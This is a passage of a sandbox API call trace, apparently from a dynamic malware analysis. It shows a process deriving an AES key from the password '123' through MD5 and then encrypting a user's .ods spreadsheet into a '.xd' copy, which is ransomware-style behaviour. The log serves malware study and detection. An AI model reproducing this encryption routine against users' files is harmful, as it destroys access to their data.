wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.602] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0073.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213c0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0073.602] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0073.602] CryptCreateHash (in: hProv=0x17aa918, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0073.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0073.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629430, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0073.603] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0073.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0073.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629440, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0073.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.603] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.608] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.608] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0073.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16218d0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0073.608] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0073.608] CryptHashData (hHash=0x164c3f0, pbData=0x16294c0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0073.608] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.608] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.608] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.608] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.608] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.609] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.609] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.609] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0073.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621798, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0073.609] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0073.609] CryptDeriveKey (in: hProv=0x17aa918, Algid=0x6610, hBaseData=0x164c3f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c4f0) returned 1 [0073.609] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.609] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.609] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.609] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.609] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.609] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.609] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0073.609] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0073.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0073.610] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0073.610] CryptDestroyHash (hHash=0x164c3f0) returned 1 [0073.610] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.610] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.610] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.610] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.617] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.617] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\fdrza xzvcyzk.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0073.617] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.617] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0073.617] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.617] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.617] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.617] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif")) returned 0x10 [0073.618] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\fdrza xzvcyzk.ods.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0073.619] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.619] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.619] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.620] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.622] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0073.622] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x19a0, lpOverlapped=0x0) returned 1 [0073.623] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0073.625] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.625] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.625] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.625] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0073.625] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.626] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.626] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0073.626] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.626] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0073.626] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.626] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.626] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.626] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0073.626] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0073.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e330, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0073.626] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0073.627] CryptGetKeyParam (in: hKey=0x164c4f0, dwParam=0x7, pbData=0x1629470, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629470*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0073.627] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.627] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.627] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.627] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.627] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.627] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.627] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.627] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.627] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.627] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.627] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.627] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.627] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.627] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.627] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.627] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.627] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.627] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.627] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.628] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.628] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.628] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.628] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.628] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.628] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621768, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.628] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.628] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x19a0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x19b0) returned 1 [0073.628] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.629] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.629] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.629] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.629] CharLowerBuffW (in: lpsz="byte[6577]", cchLength=0xa | out: lpsz="byte[6577]") returned 0xa [0073.629] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.629] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.629] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.629] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.629] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621948, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.629] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.629] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17c2130*, pdwDataLen=0x130e618*=0x19a0, dwBufLen=0x19b0 | out: pbData=0x17c2130*, pdwDataLen=0x130e618*=0x19b0) returned 1 [0073.630] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.630] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.630] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.630] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.630] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.630] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.630] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.630] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.630] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.630] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.630] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.630] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.630] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.630] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.630] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.630] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.630] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.631] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.631] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, 